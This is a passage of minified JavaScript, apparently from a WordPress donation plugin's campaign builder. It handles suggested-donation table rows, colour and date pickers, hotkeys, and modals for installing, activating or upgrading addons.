newIndex=$table.find(\"tr:not(.to-copy)\").length+1;$clone.attr(\"data-index\",newIndex);var inputFieldName=$clone.find('.amount-col input[type=\"text\"].campaign_suggested_donations').attr(\"name\"),newInputFieldName=inputFieldName.replace(\"[0]\",\"[\"+newIndex+\"]\"),inputFieldNameDescription=$clone.find('.description-col input[type=\"text\"].campaign_suggested_donations').attr(\"name\"),newInputFieldNameDescription=inputFieldNameDescription.replace(\"[0]\",\"[\"+newIndex+\"]\");wpchar.debug($clone.find('.amount-col input[type=\"text\"].campaign_suggested_donations'));wpchar.debug($clone.find('.amount-col input[type=\"text\"].campaign_suggested_donations').attr(\"name\"));$clone.find('.amount-col input[type=\"text\"].campaign_suggested_donations').attr(\"name\",newInputFieldName);$clone.find('.description-col input[type=\"text\"].campaign_suggested_donations').attr(\"name\",newInputFieldNameDescription);$clone.find('.default_amount-col input[type=\"radio\"]').val(newIndex);wpchar.debug($table,\"table\");wpchar.debug($clone,\"clone\");$table.find(\".no-suggested-amounts\").hide();$table.append($clone);$clone.on(\"click\",\".charitable-delete-row\",function(){app.delete_suggested_amount_row($(this),type);return false})});app.redrawDonationAmountsPreview($builder.find(\".charitable-campaign-suggested-donations-table\").first());app.reindex_rows(type);if(type===\"\"){app.toggle_custom_donations_checkbox()}},delete_suggested_amount_row:function($button,type=\"\"){wpchar.debug(\"delete_suggested_amount_row\");wpchar.debug($button);wpchar.debug(type);var $row_to_delete=$button.closest(\"tr \"),row_to_delete_index=parseInt($row_to_delete.attr(\"data-index\"));wpchar.debug($row_to_delete);wpchar.debug(row_to_delete_index,\"row_to_delete_index\");const $donations_table=type===\"recurring\"?$builder.find(\".charitable-campaign-suggested-recurring-donations-table\"):$builder.find(\".charitable-campaign-suggested-donations-table\"),donations_table_class=type===\"recurring\"?\".charitable-campaign-suggested-recurring-donations-table\":\".charitable-campaign-suggested-donations-table\";if(row_to_delete_index>0){wpchar.debug($donations_table.find(' tbody tr[data-index=\"'+row_to_delete_index+'\"]'));wpchar.debug(donations_table_class+' tbody tr[data-index=\"'+row_to_delete_index+'\"]');$donations_table.find(' tbody tr[data-index=\"'+row_to_delete_index+'\"]').remove()}app.redrawDonationAmountsPreview($builder.find(\".charitable-campaign-suggested-donations-table\").first());var $table=$button.closest(\"table\").find(\"tbody\");if($table.find(\"tr:not(.to-copy)\").length==1){$table.find(\".no-suggested-amounts\").removeClass(\"hidden\").show()}app.reindex_rows(type);if(type===\"\"){app.reindex_rows(\"mini\")}else if(type===\"mini\"){app.reindex_rows()}if(type===\"\"){app.toggle_custom_donations_checkbox()}},reindex_rows:function(type=\"\"){wpchar.debug(\"reindex rows with type: \"+type);if(type!==\"\"){type=\"-\"+type}$(\".charitable-campaign-suggested-donations\"+type+\" tbody\").each(function(){$(this).children(\"tr\").not(\".no-suggested-amounts .to-copy\").each(function(index){$(this).find('input[type=\"radio\"]').val(index);$(this).attr(\"data-index\",index);$(this).find(\"input\").each(function(i){this.name=this.name.replace(\u002F(\\[\\d\\])\u002F,\"[\"+index+\"]\")})})})},redrawDonationAmountsPreview:function(targetTable){elements.$preview.find(\"ul.charitable-preview-donation-amounts\").each(function(index){var $theDontionAmountsList=$(this);$theDontionAmountsList.find(\"li\").remove();$(targetTable).find(\"tbody\").children(\"tr\").not(\".no-suggested-amounts\").not(\".to-copy\").not(\"hidden\").each(function(index){var theInputTextValue=$(this).find('input[type=\"text\"].campaign_suggested_donations').first().val();var selected=\"\";wpchar.debug($(this).find('input[type=\"radio\"]'));if($(this).find('input[type=\"radio\"]').is(\":checked\")){selected=\" selected\"}$theDontionAmountsList.append('\u003Cli class=\"charitable-preview-donation-amount suggested-donation-amount'+selected+'\">\u003Clabel>\u003Cinput type=\"radio\" name=\"donation_amount\" value=\"'+index+'\">\u003Cspan class=\"amount\">'+theInputTextValue+\"\u003C\u002Fspan>\u003C\u002Flabel>\u003C\u002Fli>\")});if($(\"#charitable-panel-field-settings-campaign_allow_custom_donations\").is(\":checked\")){$theDontionAmountsList.append('\u003Cli class=\"charitable-preview-donation-amount custom-donation-amount \">\u003Cspan class=\"custom-donation-amount-wrapper\">\u003Clabel>\u003Cinput type=\"radio\" name=\"donation_amount\" value=\"custom\">\u003Cspan class=\"description\">Custom amount\u003C\u002Fspan>\u003C\u002Flabel>\u003Cinput type=\"text\" disabled=\"&quot;true&quot;\" class=\"custom-donation-input\" name=\"custom_donation_amount\" placeholder=\"Custom Donation Amount\" value=\"\">\u003C\u002Fspan>\u003C\u002Fli>')}})},toggle_custom_donations_checkbox:function(){var $custom=$(\"#campaign_allow_custom_donations\"),$suggestions=$(\".charitable-campaign-suggested-donations tbody tr:not(.to-copy)\"),has_suggestions=$suggestions.length>1||false===$suggestions.first().hasClass(\"no-suggested-amounts\");$custom.prop(\"disabled\",!has_suggestions);if(!has_suggestions){$custom.prop(\"checked\",true)}},initTagField:function($element){$element.select2()},initColorPicker:function(){Coloris({el:\".coloris\"});Coloris.setInstance(\".instance2.primary\",{defaultColor:s.primaryThemeColor,onChange:function(color){if(\"\"===color){$('input[name=\"layout__advanced__theme_color_primary\"]').val(s.primaryThemeColorBase);s.primaryThemeColor=s.primaryThemeColorBase;document.querySelector('input[name=\"layout__advanced__theme_color_primary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}))}else{s.primaryThemeColor=color}app.updateThemeCSS(\"primary\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)},theme:\"polaroid\",themeMode:\"light\",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:\"Reset\",swatches:[\"#067bc2\",\"#84bcda\",\"#80e377\",\"#ecc30b\",\"#f37748\",\"#d56062\"]});Coloris.setInstance(\".instance2.secondary\",{defaultColor:s.secondaryThemeColor,onChange:function(color){if(\"\"===color){$('input[name=\"layout__advanced__theme_color_secondary\"]').val(s.secondaryThemeColorBase);s.secondaryThemeColor=s.secondaryThemeColorBase;app.updateThemeCSS(\"secondary\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true);document.querySelector('input[name=\"layout__advanced__theme_color_secondary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}))}else{s.secondaryThemeColor=color;app.updateThemeCSS(\"secondary\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)}},theme:\"polaroid\",themeMode:\"light\",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:\"Reset\",swatches:[\"#067bc2\",\"#84bcda\",\"#80e377\",\"#ecc30b\",\"#f37748\",\"#d56062\"]});Coloris.setInstance(\".instance2.tertiary\",{defaultColor:s.tertiaryThemeColor,onChange:function(color){if(\"\"===color){$('input[name=\"layout__advanced__theme_color_tertiary\"]').val(s.tertiaryThemeColorBase);s.tertiaryThemeColor=s.tertiaryThemeColorBase;app.updateThemeCSS(\"teritary\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true);document.querySelector('input[name=\"layout__advanced__theme_color_tertiary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}))}else{s.tertiaryThemeColor=color;app.updateThemeCSS(\"teritary\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)}},theme:\"polaroid\",themeMode:\"light\",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:\"Reset\",swatches:[\"#067bc2\",\"#84bcda\",\"#80e377\",\"#ecc30b\",\"#f37748\",\"#d56062\"]});Coloris.setInstance(\".instance2.button-color\",{defaultColor:s.buttonThemeColor,onChange:function(color){if(\"\"===color){$('input[name=\"layout__advanced__theme_color_button\"]').val(s.buttonThemeColorBase);s.buttonThemeColor=s.buttonThemeColorBase;app.updateThemeCSS(\"button\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true);document.querySelector('input[name=\"layout__advanced__theme_color_button\"]').dispatchEvent(new Event(\"input\",{bubbles:true}))}else{s.buttonThemeColor=color;app.updateThemeCSS(\"button\",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)}},theme:\"polaroid\",themeMode:\"light\",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:\"Reset\",swatches:[\"#067bc2\",\"#84bcda\",\"#80e377\",\"#ecc30b\",\"#f37748\",\"#d56062\"]});elements.$fieldOptions.on(\"click\",\".clr-field button\",function(e){e.preventDefault();$(this).parent().find('input[type=\"text\"]').trigger(\"click\")})},initDatePicker:function($element){var $the_element=$element,options={dateFormat:$the_element.data(\"format\")||\"MM d, yy\",minDate:$the_element.data(\"min-date\")||\"\",beforeShow:function(input,inst){setTimeout(function(){$(\".ui-datepicker\").css(\"z-index\",99999999999999)},0)}};if($.isFunction($the_element.datepicker)){$the_element.datepicker(options);if($the_element.data(\"date\")){$the_element.datepicker(\"setDate\",this.$el.data(\"date\"))}if($the_element.data(\"min-date\")){$the_element.datepicker(\"option\",\"minDate\",this.$el.data(\"min-date\"))}}},trimFormTitle:function(){var $title=$(\".charitable-center-form-name\");if($title.text().length>38){var shortTitle=$title.text().trim().substring(0,38).split(\" \").slice(0,-1).join(\" \")+\"...\";$title.text(shortTitle)}},builderHotkeys:function(){hotkeys(\"esc,ctrl+1,ctrl+2,ctrl+3,ctrl+4,ctrl+5,ctrl+s,ctrl+p,ctrl+x,ctrl+v\",function(event,handler){switch(handler.key){case\"esc\":if($(\".charitable-builder-modal.charitable-builder-modal-template-preview\").hasClass(\"active\")){$(\".charitable-template-list-container\").removeClass(\"disabled\");$(\"#charitable-builder-underlay\").remove();$(\".charitable-builder-modal.charitable-builder-modal-template-preview\").removeClass(\"active\")}break;case\"ctrl+1\":$(elements.$templateButton,$builder).trigger(\"click\");break;case\"ctrl+2\":$(elements.$designButton,$builder).trigger(\"click\");break;case\"ctrl+3\":$(elements.$settingsButton,$builder).trigger(\"click\");break;case\"ctrl+4\":$(elements.$marketingButton,$builder).trigger(\"click\");break;case\"ctrl+5\":$(elements.$paymentButton,$builder).trigger(\"click\");break;case\"ctrl+s\":$(elements.$saveButton,$builder).trigger(\"click\");break;case\"ctrl+p\":$(elements.$previewButton,$builder).trigger(\"click\");break;case\"ctrl+x\":$(elements.$exitButton,$builder).trigger(\"click\");break;case\"ctrl+v\":$(elements.$viewCampaignButton,$builder).trigger(\"click\");break}})},openModalButtonClick:function(){$(document).on(\"click\",\".charitable-not-available:not(.charitable-add-fields-button)\",app.openModalButtonHandler).on(\"mousedown\",\".charitable-not-available.charitable-add-fields-button\",app.openModalButtonHandler);$(document).on(\"click\",\".charitable-disabled-modal:not(.charitable-add-fields-button)\",app.openModalWarningModal).on(\"mousedown\",\".charitable-add-fields-button.charitable-disabled-modal\",app.openModalWarningModal);$(document).on(\"click\",\".charitable-disabled-same_page:not(.charitable-add-fields-button)\",app.openModalWarningModal).on(\"mousedown\",\".charitable-add-fields-button.charitable-disabled-same_page\",app.openModalWarningModal);$(document).on(\"click\",\".charitable-not-installed:not(.charitable-add-fields-button)\",app.openModalButtonHandlerInstall).on(\"mousedown\",\".charitable-not-installed.charitable-add-fields-button\",app.openModalButtonHandlerInstall);$(document).on(\"click\",\".charitable-not-activated:not(.charitable-add-fields-button)\",app.openModalButtonHandlerActivate).on(\"mousedown\",\".charitable-not-activated.charitable-add-fields-button\",app.openModalButtonHandlerActivate);$(document).on(\"click\",\".charitable-addon-file-missing:not(.charitable-add-fields-button)\",app.openModalButtonHandlerInstall).on(\"mousedown\",\".charitable-addon-file-missing.charitable-add-fields-button\",app.openModalButtonHandlerInstall);$(document).on(\"click\",\".charitable-not-available:not(.charitable-setting-panel-upgrade-to-pro)\",app.openModalButtonHandler).on(\"mousedown\",\".charitable-not-available.charitable-setting-panel-upgrade-to-pro\",app.openModalButtonHandler);$(document).on(\"click\",\".charitable-need-upgrade:not(.charitable-setting-panel-upgrade-to-pro)\",app.openModalButtonHandler).on(\"mousedown\",\".charitable-need-upgrade.charitable-setting-panel-upgrade-to-pro\",app.openModalButtonHandler);$(document).on(\"click\",\".charitable-installed-refresh:not(.charitable-add-fields-button)\",app.openModalButtonHandlerActivatedRefresh).on(\"mousedown\",\".charitable-installed-refresh.charitable-add-fields-button\",app.openModalButtonHandlerActivatedRefresh);$(document).on(\"click\",\"a.button-link.charitable-not-activated\",app.openModalButtonHandlerActivate).on(\"mousedown\",\"a.button-link.charitable-not-activated\",app.openModalButtonHandlerActivate);$(document).on(\"click\",\"a.button-link.charitable-not-installed\",app.openModalButtonHandlerInstall).on(\"mousedown\",\"a.button-link.charitable-not-installed\",app.openModalButtonHandlerInstall);$(document).on(\"click\",\"a.button-link.charitable-not-activated-button\",app.activateFromButton).on(\"mousedown\",\"a.button-link.charitable-not-activated-button\",app.activateFromButton);$(document).on(\"click\",\"a.button-link.charitable-not-installed-button\",app.installFromButton).on(\"mousedown\",\"a.button-link.charitable-not-installed-button\",app.installFromButton)},activateFromButton:function(e){e.preventDefault();const $button=$(this),plugin_url=$(this).data(\"plugin-url\"),plugin_name=$(this).data(\"name\"),settings_url=$(this).data(\"settings-url\"),plugin_slug=$(this).data(\"plugin-slug\"),enable_url=$(this).data(\"enable-url\").length>0?$(this).data(\"enable-url\"):\"\";if(!plugin_url||!plugin_name){return}app.installFromButtonAjax(plugin_url,plugin_name,settings_url,plugin_slug,enable_url,\"activate\",\"addon\",$button)},installFromButton:function(e){e.preventDefault();const $button=$(this),plugin_url=$(this).data(\"plugin-url\"),plugin_name=$(this).data(\"name\"),settings_url=$(this).data(\"settings-url\"),plugin_slug=$(this).data(\"plugin-slug\"),enable_url=$(this).data(\"enable-url\").length>0?$(this).data(\"enable-url\"):\"\";if(!plugin_url||!plugin_name){return}app.installFromButtonAjax(plugin_url,plugin_name,settings_url,plugin_slug,enable_url,\"install\",\"addon\",$button)},installFromButtonAjax:function(plugin_url,plugin_name,settings_url,plugin_slug,enable_url,state,pluginType,$button){wpchar.debug(\"setAddonState\");wpchar.debug(plugin_url);wpchar.debug(plugin_name);wpchar.debug(state);var actions={activate:\"charitable_activate_addon\",install:\"charitable_install_addon\",deactivate:\"charitable_deactivate_addon\"},action=actions[state];if(!action){return}var plugin_ajax=plugin_url;if(\"install\"===state){if(enable_url.length>0){$button.text(\"Installing and activating gateway...\")}else{$button.text(\"Installing and activating...\")}$button.removeClass(\"charitable-not-installed-button\");$button.addClass(\"charitable-view-settings-button\")}else if(\"activate\"===state){if(enable_url.length>0){$button.text(\"Activating gateway...\")}else{$button.text(\"Activating...\")}$button.removeClass(\"charitable-not-activated-button\");$button.addClass(\"charitable-view-settings-button\");plugin_ajax=plugin_slug}var data={action:action,nonce:charitable_admin.nonce,plugin:plugin_ajax,type:pluginType};wpchar.debug(data);$.post(charitable_admin.ajax_url,data,function(res){if(\"install\"===state){$('a.button-link[data-plugin-slug=\"'+plugin_slug+'\"]').each(function(){$(this).text(\"View Settings\");$(this).removeClass(\"charitable-not-installed-button\");$(this).addClass(\"charitable-view-settings-button\");if(enable_url.length>0){$(this).attr(\"href\",enable_url)}else{$(this).attr(\"href\",settings_url)}$(this).attr(\"target\",\"_blank\")});$(\"section.header-content h2\").addClass(\"charitable-hidden\");$(\"section.header-content h2.charitable-header-content-activated\").removeClass(\"charitable-hidden\")}else if(\"activate\"===state){$('a.button-link[data-plugin-slug=\"'+plugin_slug+'\"]').each(function(){$(this).text(\"View Settings\");$(this).removeClass(\"charitable-not-installed-button\");$(this).addClass(\"charitable-view-settings-button\");if(enable_url.length>0){$(this).attr(\"href\",enable_url)}else{$(this).attr(\"href\",settings_url)}$(this).attr(\"target\",\"_blank\")});$(\"section.header-content h2\").addClass(\"charitable-hidden\");$(\"section.header-content h2.charitable-header-content-activated\").removeClass(\"charitable-hidden\")}}).fail(function(xhr){wpchar.debug(xhr.responseText)})},openModalWarningModal:function(event){const $this=$(this);event.preventDefault();event.stopImmediatePropagation();let name=$this.data(\"name\"),icon=\"\",reason=\"\";if($this.hasClass(\"charitable-add-fields-button\")){name=$this.text();name+=name.indexOf(charitable_builder.field)\u003C0?\" \"+charitable_builder.field:\"\";if($this.data(\"field-icon\")){icon=$this.data(\"field-icon\")}}if($this.hasClass(\"charitable-disabled-modal\")){reason=\"modal\"}else if($this.hasClass(\"charitable-disabled-same_page\")){reason=\"same_page\"}app.modalWarningModal(name,reason,icon)},openModalButtonHandlerInstall:function(event){const $this=$(this);var icon=\"\",plugin_url=\"\",video=\"\",license=\"\",elementType=false;if($this.data(\"action\")&&[\"activate\",\"install\"].includes($this.data(\"action\"))){return}event.preventDefault();event.stopImmediatePropagation();let name=$this.data(\"name\");if($this.hasClass(\"charitable-add-fields-button\")){name=$this.text();name+=name.indexOf(charitable_builder.field)\u003C0?\" \"+charitable_builder.field:\"\";if($this.data(\"field-icon\")){icon=$this.data(\"field-icon\")}}if($this.data(\"install\")){plugin_url=$this.data(\"install\")}else if($this.data(\"plugin-url\")){plugin_url=$this.data(\"plugin-url\")}if($this.data(\"video\")){video=$this.data(\"video\")}if($this.data(\"license\")){license=$this.data(\"license\")}app.installModal(name,plugin_url,license,video,$this,elementType,icon)},openModalButtonHandlerActivatedRefresh:function(event){const $this=$(this);event.preventDefault();event.stopImmediatePropagation();let name=$this.data(\"name\");app.activateRefreshModal(name,$this.data(\"video\"))},openModalButtonHandlerActivate:function(event){const $this=$(this);var icon=\"\",plugin_url=\"\",video=\"\",license=\"\",elementType=false;if($this.data(\"action\")&&[\"activate\",\"install\"].includes($this.data(\"action\"))){return}event.preventDefault();event.stopImmediatePropagation();let name=$this.data(\"name\");if($this.data(\"plugin-url\")){plugin_url=$this.data(\"plugin-url\")}if($this.data(\"video\")){video=$this.data(\"video\")}if($this.data(\"license\")){license=$this.data(\"license\")}app.activateModal(name,plugin_url,license,video,$this,elementType,icon)},openModalButtonHandler:function(event){const $this=$(this);if($this.data(\"action\")&&[\"activate\",\"install\"].includes($this.data(\"action\"))){return}event.preventDefault();event.stopImmediatePropagation();let icon=\"\",name=$this.data(\"name\"),elementType=$this.data(\"type\");if($this.hasClass(\"charitable-add-fields-button\")){name=$this.text();name+=name.indexOf(charitable_builder.field)\u003C0?\" \"+charitable_builder.field:\"\";if($this.data(\"field-icon\")){icon=$this.data(\"field-icon\")}}const utmContent=\"utmValue\";app.upgradeModal(name,utmContent,$this.data(\"license\"),$this.data(\"video\"),elementType,icon)},modalWarningModal:function(feature,reason=\"\",icon=\"\"){var message=\"\",modalWidth=app.getUpgradeModalWidth(false),title=\"\";if(reason===\"modal\"){message=charitable_builder.field_disabled_due_to_modal.replace(\u002F%name%\u002Fg,feature)}else if(reason===\"same_page\"){message=charitable_builder.field_disabled_due_to_same_page.replace(\u002F%name%\u002Fg,feature)}var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==\"\"?\"fa \"+icon:\"fa fa-thumbs-up\",content:message,boxWidth:modalWidth,theme:\"modern,charitable-install-form\",closeIcon:true,buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){}},cancel:{text:charitable_builder.go_to_settings,btnClass:\"btn-confirm\",action:function(){window.open(charitable_builder.settings_page_url)}}}})},setAddonState:function(plugin_url,plugin_name,state,pluginType,modal,clickedObject,callback){wpchar.debug(\"setAddonState\");wpchar.debug(plugin_url);wpchar.debug(plugin_name);wpchar.debug(state);var actions={activate:\"charitable_activate_addon\",install:\"charitable_install_addon\",deactivate:\"charitable_deactivate_addon\"},action=actions[state];if(!action){return}var data={action:action,nonce:charitable_admin.nonce,plugin:plugin_url,type:pluginType};wpchar.debug(data);$.post(charitable_admin.ajax_url,data,function(res){callback(res,plugin_url,plugin_name,state,modal,clickedObject)}).fail(function(xhr){wpchar.debug(xhr.responseText)})},callBackAddonState:function(res,plugin_url=\"\",plugin_name=\"\",state=\"\",modal=false,clickedObject){wpchar.debug(\"callBackAddonState\");wpchar.debug(res);wpchar.debug(state);wpchar.debug(modal);var successText=\"\";if(res.success){if(\"install\"===state){wpchar.debug(\"installed\");if(s.currentModal!==false&&\"object\"===typeof s.currentModal){s.currentModal.close()}if(res.data.is_activated){successText=res.data.msg;app.upgradeModalAddonInstalledAndActivated(plugin_url,plugin_name,successText)}else{app.upgradeModalAddonInstalledAndActivatedFailed(plugin_url,plugin_name,successText)}}else if(\"activate\"===state){wpchar.debug(\"activated\");successText=res.data;if(s.currentModal!==false&&\"object\"===typeof s.currentModal){s.currentModal.close()}app.upgradeModalAddonActivated(plugin_url,plugin_name,successText);clickedObject.addClass(\"charitable-installed-refresh\").removeClass(\"charitable-not-activated\");app.openModalButtonClick()}else{wpchar.debug(\"some other success\");successText=res.data;if(s.currentModal!==false&&\"object\"===typeof s.currentModal){s.currentModal.close()}app.upgradeModalAddonActivated(plugin_url,plugin_name,successText);clickedObject.addClass(\"charitable-installed-refresh\").removeClass(\"charitable-not-activated\");app.openModalButtonClick()}}else{if(s.currentModal!==false&&\"object\"===typeof s.currentModal){s.currentModal.close()}app.upgradeModalAddonActivatedFailed(plugin_url,plugin_name,successText)}},activateRefreshModal:function(name,video,icon=\"\"){wpchar.debug(\"activateRefreshModal\");wpchar.debug(name);wpchar.debug(video);var message=charitable_builder.activated_refresh.replace(\u002F%addon%\u002Fg,name),isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title='\u003Cspan class=\"charitable-upgrade-pro-title\">'+name+\" \"+charitable_builder.activated_refresh_title+\"\u003C\u002Fspan>\";var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==\"\"?\"fa \"+icon:\"fa fa-thumbs-up\",content:message,boxWidth:modalWidth,theme:\"modern,charitable-activate-refresh\",closeIcon:true,buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}});$(window).on(\"resize\",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},activateModal:function(feature,plugin_url,type,video,clickedObject,elementType=false,icon=\"\"){wpchar.debug(\"activatelModal\");wpchar.debug(feature);wpchar.debug(plugin_url);wpchar.debug(type);wpchar.debug(video);wpchar.debug(elementType);if(typeof type===\"undefined\"||type.length===0){type=\"pro\"}var message=charitable_builder.activate.message.replace(\u002F%addon%\u002Fg,feature),isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title='\u003Cspan class=\"charitable-upgrade-pro-title\">'+feature+\" \"+charitable_builder.activate.title+\"\u003C\u002Fspan>\";var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==\"\"?\"fa \"+icon:\"fa fa-thumbs-up\",content:message,boxWidth:modalWidth,theme:\"modern,charitable-activate-addon\",closeIcon:true,buttons:{cancel:{btnClass:\"btn-confirm\",keys:[\"esc\"],isHidden:false,isDisabled:false,action:function(){}},install:{text:charitable_builder.activate.button,btnClass:\"btn-confirm\",keys:[\"enter\"],isHidden:false,isDisabled:false,action:function(activateButton){activateButton.setText(charitable_builder.activating);activateButton.disable();this.$$cancel.prop(\"disabled\",true);this.$$cancel.hide();app.setAddonState(plugin_url,feature,\"activate\",\"addon\",$(this),clickedObject,app.callBackAddonState);return false}}}});s.currentModal=modal;$(window).on(\"resize\",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},installModal:function(feature,plugin_url,type,video,clickedObject,elementType=false,icon=\"\"){wpchar.debug(\"installModal\");wpchar.debug(feature);wpchar.debug(plugin_url);wpchar.debug(type);wpchar.debug(video);wpchar.debug(clickedObject);wpchar.debug(elementType);if(typeof type===\"undefined\"||type.length===0){type=\"pro\"}if($.inArray(type,[\"pro\",\"basic\",\"plus\",\"agency\",\"elite\"])\u003C0){return}var license_label=charitable_builder.charitable_license_label,message=charitable_builder.install[type].message.replace(\u002F%name%\u002Fg,license_label).replace(\u002F%addon%\u002Fg,feature),isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title=\"\";if(elementType){title='\u003Cspan class=\"charitable-upgrade-pro-title\">'+feature+\" \"+charitable_builder.install[\"pro-panel\"].title+\"\u003C\u002Fspan>\"}else{title='\u003Cspan class=\"charitable-upgrade-pro-title\">'+feature+\" \"+charitable_builder.install[type].title+\"\u003C\u002Fspan>\"}var modal=$.alert({backgroundDismiss:false,title:title,icon:icon!==\"\"?\"fa \"+icon:\"fa fa-thumbs-up\",content:message,boxWidth:modalWidth,theme:\"modern,charitable-install-form\",closeIcon:false,buttons:{cancel:{btnClass:\"btn-confirm\",keys:[\"esc\"],isHidden:false,isDisabled:false,action:function(){}},confirmInstall:{text:charitable_builder.install[type].button,btnClass:\"btn-confirm\",keys:[\"enter\"],isHidden:false,isDisabled:false,action:function(confirmInstallButton){confirmInstallButton.setText(charitable_builder.installing);confirmInstallButton.disable();this.$$cancel.prop(\"disabled\",true);this.$$cancel.hide();app.setAddonState(plugin_url,feature,\"install\",\"addon\",$(this),clickedObject,app.callBackAddonState);return false}}}});s.currentModal=modal;$(window).on(\"resize\",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},upgradeModal:function(feature,utmContent,type,video,elementType=false,icon=\"\"){if(typeof type===\"undefined\"||type.length===0){type=\"pro\"}if($.inArray(type,[\"pro\",\"basic\",\"plus\",\"agency\",\"elite\"])\u003C0){return}var isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title=\"\",message=\"\",button=\"\",typeCapitlized=\"pro\"!==type.toLowerCase()?type.charAt(0).toUpperCase()+type.slice(1):\"PRO\";if(elementType){title=feature+\" \"+charitable_builder.upgrade[\"pro-panel\"].title.replace(\u002F%plan%\u002Fg,typeCapitlized),message=charitable_builder.upgrade[\"pro-panel\"].message.replace(\u002F%name%\u002Fg,feature),message=message.replace(\u002F%plan%\u002Fg,typeCapitlized),button=charitable_builder.upgrade[\"pro-panel\"].button.replace(\u002F%name%\u002Fg,feature).replace(\"addon\",\"\"),button=button.replace(\u002F%plan%\u002Fg,typeCapitlized)}else{title=feature+\" \"+charitable_builder.upgrade[type].title.replace(\u002F%plan%\u002Fg,typeCapitlized),message=charitable_builder.upgrade[type].message.replace(\u002F%name%\u002Fg,feature),message=message.replace(\u002F%plan%\u002Fg,typeCapitlized),button=charitable_builder.upgrade[type].button.replace(\u002F%name%\u002Fg,feature).replace(\"addon\",\"\"),button=button.replace(\u002F%plan%\u002Fg,typeCapitlized)}var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==\"\"?\"fa \"+icon:\"fa fa-lock\",content:message,boxWidth:modalWidth,theme:\"modern,charitable-upgrade-form-lite\",closeIcon:true,onOpenBefore:function(){if(isVideoModal){this.$el.addClass(\"has-video\")}var videoHtml=isVideoModal?'\u003Ciframe src=\"'+video+'\" class=\"feature-video\" frameborder=\"0\" allowfullscreen=\"\" width=\"475\" height=\"267\">\u003C\u002Fiframe>':\"\";this.$btnc.after(charitable_builder.upgrade[type].doc.replace(\u002F%25name%25\u002Fg,feature));this.$btnc.after(videoHtml);this.$body.find(\".jconfirm-content\").addClass(\"lite-upgrade\")},buttons:{confirm:{text:button,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){window.open(app.getUpgradeURL(utmContent,type),\"_blank\");app.upgradeModalThankYou(type)}}}});$(window).on(\"resize\",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},getInstallURL:function(utmContent,type,searchKeyword=false){var returnUrl=charitable_builder.charitable_addons_page;if(searchKeyword){returnUrl=returnUrl+\"&search=\"+searchKeyword.replace(\u002F[^0-9a-z+ ]\u002Fgi,\"\").replace(\"Field\",\"\").trim()}return returnUrl},getUpgradeURL:function(utmContent,type){var baseURL=charitable_builder.upgrade[type].url;if(utmContent.toLowerCase().indexOf(\"template\")>-1){baseURL=charitable_builder.upgrade[type].url_template}var appendChar=\u002F(\\?)\u002F.test(baseURL)?\"&\":\"?\";if(baseURL.indexOf(\"https:\u002F\u002Fwpcharitable.com\")===-1){appendChar=encodeURIComponent(appendChar)}return baseURL+appendChar+\"utm_content=\"+encodeURIComponent(utmContent.trim())},upgradeModalThankYou:function(type){$.alert({title:charitable_builder.thanks_for_interest,content:charitable_builder.upgrade[type].modal,icon:\"fa fa-info-circle\",type:\"blue\",boxWidth:\"565px\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},upgradeModalAddonInstalledAndActivated:function(plugin_url=\"\",plugin_name=\"\",successText=\"\"){$.alert({title:'\u003Cspan class=\"charitable-upgrade-pro-title\">'+plugin_name+\" \"+charitable_builder.installed_activated_title+\"\u003C\u002Fspan>\",content:charitable_builder.installed_activated_reboot,icon:\"fa fa-info-circle\",type:\"blue\",boxWidth:\"565px\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"esc\"]},saveRefresh:{text:charitable_builder.save_refresh,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(saveRefreshButton){if($(\"#charitable_settings_title\").val().length===0){this.close();app.formSaveCheck();return false}saveRefreshButton.setText(charitable_builder.standby);saveRefreshButton.disable();this.$$confirm.prop(\"disabled\",true);this.$$confirm.hide();app.formSave(false,false,false,true);return false}}}})},upgradeModalAddonActivated:function(plugin_url=\"\",plugin_name=\"\",successText=\"\"){$.alert({title:'\u003Cspan class=\"charitable-upgrade-pro-title\">'+plugin_name+\" 